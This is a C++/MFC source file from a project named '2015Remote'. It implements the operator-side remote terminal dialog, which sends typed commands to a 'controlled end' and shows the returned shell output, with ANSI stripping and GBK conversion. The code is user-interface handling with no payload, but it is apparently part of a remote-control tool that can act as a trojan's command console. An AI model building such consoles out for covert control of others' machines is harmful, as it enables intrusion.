// ShellDlg.cpp : 实现文件 // #include "stdafx.h" #include "2015Remote.h" #include "ShellDlg.h" #include "afxdialogex.h" #define EDIT_MAXLENGTH 30000 BEGIN_MESSAGE_MAP(CAutoEndEdit, CEdit) ON_WM_CHAR() END_MESSAGE_MAP() void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) { // 获取当前光标位置 int nStart, nEnd; GetSel(nStart, nEnd); // 如果光标在最小可编辑位置之前,移动到末尾 if (nStart < (int)m_nMinEditPos) { int nLength = GetWindowTextLength(); SetSel(nLength, nLength); } if (nStart == 30000){ static int hasNotify = 0; if (hasNotify++ % 10 == 0) { THIS_APP->PostNotify(_TR("需要清理终端"), _TR("达到字符数限制时,需执行\"clear\"命令")); } } // 调用父类处理输入字符 CEdit::OnChar(nChar, nRepCnt, nFlags); } // CShellDlg 对话框 IMPLEMENT_DYNAMIC(CShellDlg, CDialog) CShellDlg::CShellDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject) : DialogBase(CShellDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_SHELL) { m_brBackground.CreateSolidBrush(RGB(0, 0, 0)); // 黑色背景 } CShellDlg::~CShellDlg() { } void CShellDlg::DoDataExchange(CDataExchange* pDX) { __super::DoDataExchange(pDX); DDX_Control(pDX, IDC_EDIT, m_Edit); } BEGIN_MESSAGE_MAP(CShellDlg, CDialog) ON_WM_CLOSE() ON_WM_CTLCOLOR() ON_WM_SIZE() END_MESSAGE_MAP() // CShellDlg 消息处理程序 BOOL CShellDlg::OnInitDialog() { __super::OnInitDialog(); m_nCurSel = 0; m_nReceiveLength = 0; SetIcon(m_hIcon, TRUE); SetIcon(m_hIcon,FALSE); CString str; str.FormatL("%s - 远程终端", m_IPAddress); SetWindowText(str); BYTE bToken = COMMAND_NEXT; m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); m_Edit.SetWindowTextA(">>"); m_nCurSel = m_Edit.GetWindowTextLengthA(); m_nReceiveLength = m_nCurSel; m_Edit.m_nMinEditPos = m_nReceiveLength; // 设置最小可编辑位置 m_Edit.SetSel((int)m_nCurSel, (int)m_nCurSel); m_Edit.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel); m_Edit.SetLimitText(EDIT_MAXLENGTH); return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE } VOID CShellDlg::OnReceiveComplete() { if (m_ContextObject==NULL) { return; } AddKeyBoardData(); m_nReceiveLength = m_Edit.GetWindowTextLength(); m_Edit.m_nMinEditPos = m_nReceiveLength; // 更新最小可编辑位置 } #include std::string removeAnsiCodes(const std::string& input) { // Match all common ANSI escape sequences: // CSI sequences: \x1B[...X where X is a letter // OSC sequences: \x1B]...(\x07|\x1B\\) // Simple escapes: \x1B[=>] or single char after \x1B std::regex ansi_regex( "\x1B\\[[0-9;?]*[A-Za-z]" // CSI: \x1B[...m, \x1B[...H, \x1B[...J, etc. "|\x1B\\][^\x07]*\x07" // OSC: \x1B]...\x07 "|\x1B\\][^\x1B]*\x1B\\\\" // OSC: \x1B]...\x1B\\ [*] "|\x1B[=>]" // \x1B= or \x1B> "|\x1B[78]" // Save/restore cursor "|\x1B\\([AB0-2]" // Character set selection ); return std::regex_replace(input, ansi_regex, ""); } // UTF-8 → ANSI(GBK) 转换,如果输入不是合法 UTF-8 则原样返回 static std::string Utf8ToLocal(const std::string& text) { if (text.empty()) return text; // 尝试以 UTF-8 解码,MB_ERR_INVALID_CHARS 会让非法 UTF-8 失败 int wLen = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, text.c_str(), -1, NULL, 0); if (wLen <= 0) return text; // 不是合法 UTF-8,原样返回(Windows 客户端 GBK 数据走这里) std::wstring wstr(wLen, 0); MultiByteToWideChar(CP_UTF8, 0, text.c_str(), -1, &wstr[0], wLen); int aLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL); if (aLen <= 0) return text; std::string ansi(aLen, 0); WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], aLen, NULL, NULL); if (!ansi.empty() && ansi.back() == '\0') ansi.pop_back(); return ansi; } VOID CShellDlg::AddKeyBoardData(void) { // 最后填上0 //Shit\0 m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //从被控制端来的数据我们要加上一个\0 Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0); bool firstRecv = tmp.c_str() == std::string(">"); std::string cleaned = removeAnsiCodes(tmp.c_str()); std::string converted = Utf8ToLocal(cleaned); // Linux 客户端 UTF-8 → GBK;Windows 客户端原样通过 CString strResult = firstRecv ? "" : CString("\r\n") + converted.c_str(); //替换掉原来的换行符 可能cmd 的换行同w32下的编辑控件的换行符不一致 所有的回车换行 strResult.Replace("\n", "\r\n"); if (strResult.GetLength() + m_Edit.GetWindowTextLength() >= EDIT_MAXLENGTH) { CString text; m_Edit.GetWindowTextA(text); auto n = EDIT_MAXLENGTH - strResult.GetLength() - 5; // 留5个字符输入clear清屏 if (n < 0) { strResult = strResult.Right(strResult.GetLength() + n); } m_Edit.SetWindowTextA(text.Right(max(n, 0))); } //得到当前窗口的字符个数 int iLength = m_Edit.GetWindowTextLength(); //kdfjdjfdir //1.txt //2.txt //dir\r\n //将光标定位到该位置并选中指定个数的字符 也就是末尾 因为从被控端来的数据 要显示在 我们的 先前内容的后面 m_Edit.SetSel(iLength, iLength); //用传递过来的数据替换掉该位置的字符 //显示 m_Edit.ReplaceSel(strResult); //重新得到字符的大小 m_nCurSel = m_Edit.GetWindowTextLength(); //我们注意到,我们在使用远程终端时 ,发送的每一个命令行 都有一个换行符 就是一个回车 //要找到这个回车的处理我们就要到PreTranslateMessage函数的定义 } void CShellDlg::OnClose() { CancelIO(); // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; } DialogBase::OnClose(); } CString ExtractAfterLastNewline(const CString& str) { int nPos = str.ReverseFind(_T('\n')); if (nPos != -1) { return str.Mid(nPos + 1); } nPos = str.ReverseFind(_T('\r')); if (nPos != -1) { return str.Mid(nPos + 1); } return str; } BOOL CShellDlg::PreTranslateMessage(MSG* pMsg) { if (pMsg->message == WM_KEYDOWN) { // 屏蔽VK_ESCAPE、VK_DELETE if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE) return true; //如果是可编辑框的回车键 if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_Edit.m_hWnd) { //得到窗口的数据大小 int iLength = m_Edit.GetWindowTextLength(); CString str; //得到窗口的字符数据 m_Edit.GetWindowText(str); //加入换行符 str += "\r\n"; //得到整个的缓冲区的首地址再加上原有的字符的位置,其实就是用户当前输入的数据了 //然后将数据发送出去 LPBYTE pSrc = (LPBYTE)str.GetBuffer(0) + m_nCurSel; #ifdef _DEBUG TRACE("[Shell]=> %s", (char*)pSrc); #endif if (0 == strcmp((char*)pSrc, "exit\r\n")) { // 退出终端 return PostMessage(WM_CLOSE); } else if (0 == strcmp((char*)pSrc, "clear\r\n")) { // 清理终端 str = ExtractAfterLastNewline(str.Left(str.GetLength() - 7)); m_Edit.SetWindowTextA(str); m_nCurSel = m_Edit.GetWindowTextLength(); m_nReceiveLength = m_nCurSel; m_Edit.m_nMinEditPos = m_nReceiveLength; // 更新最小可编辑位置 m_Edit.SetSel(m_nCurSel, m_nCurSel); return TRUE; } int length = str.GetLength() - m_nCurSel; m_ContextObject->Send2Client(pSrc, length); m_nCurSel = m_Edit.GetWindowTextLength(); } // 限制VK_BACK if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd) { if (m_Edit.GetWindowTextLength() <= m_nReceiveLength) return true; } // 限制VK_LEFT - 不能移动到历史输出区域 if (pMsg->wParam == VK_LEFT && pMsg->hwnd == m_Edit.m_hWnd) { int nStart, nEnd; m_Edit.GetSel(nStart, nEnd); if (nStart <= (int)m_nReceiveLength) return true; } // 限制VK_UP - 禁止向上移动到历史输出 if (pMsg->wParam == VK_UP && pMsg->hwnd == m_Edit.m_hWnd) { return true; } // 限制VK_HOME - 移动到当前命令行开始位置而不是文本开头 if (pMsg->wParam == VK_HOME && pMsg->hwnd == m_Edit.m_hWnd) { m_Edit.SetSel((int)m_nReceiveLength, (int)m_nReceiveLength); return true; } } return __super::PreTranslateMessage(pMsg); } HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) { if ((pWnd->GetDlgCtrlID() == IDC_EDIT) && (nCtlColor == CTLCOLOR_EDIT)) { pDC->SetTextColor(RGB(255, 255, 255)); // 白色文本 pDC->SetBkColor(RGB(0, 0, 0)); // 黑色背景 return (HBRUSH)m_brBackground.GetSafeHandle(); } return __super::OnCtlColor(pDC, pWnd, nCtlColor); } void CShellDlg::OnSize(UINT nType, int cx, int cy) { __super::OnSize(nType, cx, cy); if (!m_Edit.GetSafeHwnd()) return; // 确保控件已创建 // 计算新位置和大小 CRect rc; m_Edit.GetWindowRect(&rc); ScreenToClient(&rc); // 重新设置控件大小 m_Edit.MoveWindow(0, 0, cx, cy, TRUE); }